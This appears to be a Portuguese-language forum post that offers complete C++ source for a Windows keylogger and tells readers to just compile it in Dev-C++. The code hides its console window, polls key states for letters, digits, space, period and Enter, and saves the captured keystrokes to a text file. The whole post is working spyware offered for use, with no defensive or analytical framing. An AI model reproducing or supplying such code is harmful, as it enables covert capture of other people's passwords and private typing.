KEYLOGGER EM C++ - BAIXE O DEV-CPP E É SÓ COMPILAR!
Código:
#include <windows.h> #include <iostream> //bibliotecas... =] #include <fstream> // essa biblioteca realiza(fluxo) tanto operações de entrada como de saída... #include <string> using namespace std; int main(){ FreeConsole(); //deixa a janela invisivel, haha... string teclas; //variaveis while(1==1){ //NÃO usei o TRUE, haha, legibilidade do codigo...(creditos pela diga, 0KaL! KKKK) if(GetAsyncKeyState(0x41)){ //aqui fica responsavel pela captura das teclas... cout << "a"; //41 é o equivale a letra "a" em HEXADECIMAL... então ele imprime a letra "a" na string "teclas". teclas+= "a"; //vai fazer isso pelo o resto do código! Sleep(200); }; if(GetAsyncKeyState(0x42)){ cout << "b"; teclas+= "b"; Sleep(200); }; if(GetAsyncKeyState(0x43)){ cout << "c"; teclas+= "c"; Sleep(200); }; if(GetAsyncKeyState(0x44)){ cout<<"d"; teclas+="d"; Sleep(200); }; if(GetAsyncKeyState(0x45)){ cout<<"e"; teclas+="e"; Sleep(200); }; if(GetAsyncKeyState(0x46)){ cout<<"f"; teclas+="f"; Sleep(200); }; if(GetAsyncKeyState(0x47)){ cout<<"g"; teclas+="g"; Sleep(200); }; if(GetAsyncKeyState(0x48)){ cout<<"h"; teclas+="h"; Sleep(200); }; if(GetAsyncKeyState(0x49)){ cout<<"i"; teclas+="i"; Sleep(200); }; if(GetAsyncKeyState(0x4a)){ cout<<"j"; teclas+="j"; Sleep(200); }; if(GetAsyncKeyState(0x4b)){ cout<<"k"; teclas+="k"; Sleep(200); }; if(GetAsyncKeyState(0x4c)){ cout<<"l"; teclas+="l"; Sleep(200); }; if(GetAsyncKeyState(0x4d)){ cout<<"m"; teclas+="m"; Sleep(200); }; if(GetAsyncKeyState(0x4e)){ cout<<"n"; teclas+="n"; Sleep(200); }; if(GetAsyncKeyState(0x4f)){ cout<<"o"; teclas+="o"; Sleep(200); }; if(GetAsyncKeyState(0x50)){ cout<<"p"; teclas+="p"; Sleep(200); }; if(GetAsyncKeyState(0x51)){ cout<<"q"; teclas+="q"; Sleep(200); }; if(GetAsyncKeyState(0x52)){ cout<<"r"; teclas+="r"; Sleep(200); }; if(GetAsyncKeyState(0x53)){ cout<<"s"; teclas+="s"; Sleep(200); }; if(GetAsyncKeyState(0x54)){ cout<<"t"; teclas+="t"; Sleep(200); }; if(GetAsyncKeyState(0x55)){ cout<<"u"; teclas+="u"; Sleep(200); }; if(GetAsyncKeyState(0x56)){ cout<<"v"; teclas+="v"; Sleep(200); }; if(GetAsyncKeyState(0x57)){ cout<<"w"; teclas+="w"; Sleep(200); }; if(GetAsyncKeyState(0x58)){ cout<<"x"; teclas+="x"; Sleep(200); }; if(GetAsyncKeyState(0x59)){ cout<<"y"; teclas+="y"; Sleep(200); }; if(GetAsyncKeyState(0x5A)){ cout<<"z"; teclas+="z"; Sleep(200); }; if(GetAsyncKeyState(VK_SPACE)){ cout<<" "; teclas+=" "; Sleep(200); }; if(GetAsyncKeyState(0x6E)){ cout<<"."; teclas+="."; Sleep(200); }; if(GetAsyncKeyState(0x0d)){ cout<<"/n"; teclas+="<br>"; Sleep(200); }; if(GetAsyncKeyState(0x30)){ cout<<"0"; teclas+="0"; Sleep(200); }; if(GetAsyncKeyState(0x31)){ cout<<"1"; teclas+="1"; Sleep(200); }; if(GetAsyncKeyState(0x32)){ cout<<"2"; teclas+="2"; Sleep(200); }; if(GetAsyncKeyState(0x33)){ cout<<"3"; teclas+="3"; Sleep(200); }; if(GetAsyncKeyState(0x34)){ cout<<"4"; teclas+="4"; Sleep(200); }; if(GetAsyncKeyState(0x35)){ cout<<"5"; teclas+="5"; Sleep(200); }; if(GetAsyncKeyState(0x36)){ cout<<"6"; teclas+="6"; Sleep(200); }; if(GetAsyncKeyState(0x37)){ cout<<"7"; teclas+="7"; Sleep(200); }; if(GetAsyncKeyState(0x38)){ cout<<"8"; teclas+="8"; Sleep(200); }; if(GetAsyncKeyState(0x39)){ cout<<"9"; teclas+="9"; Sleep(200); }; // cria um arquvo txt para implementar as teclas digitadas... ofstream meu_arquivozinho; meu_arquivozinho.open ("log_das_teclas.txt"); meu_arquivozinho << teclas; // faz digita a string teclas no arquivo txt. meu_arquivozinho.close(); // fecha. }; }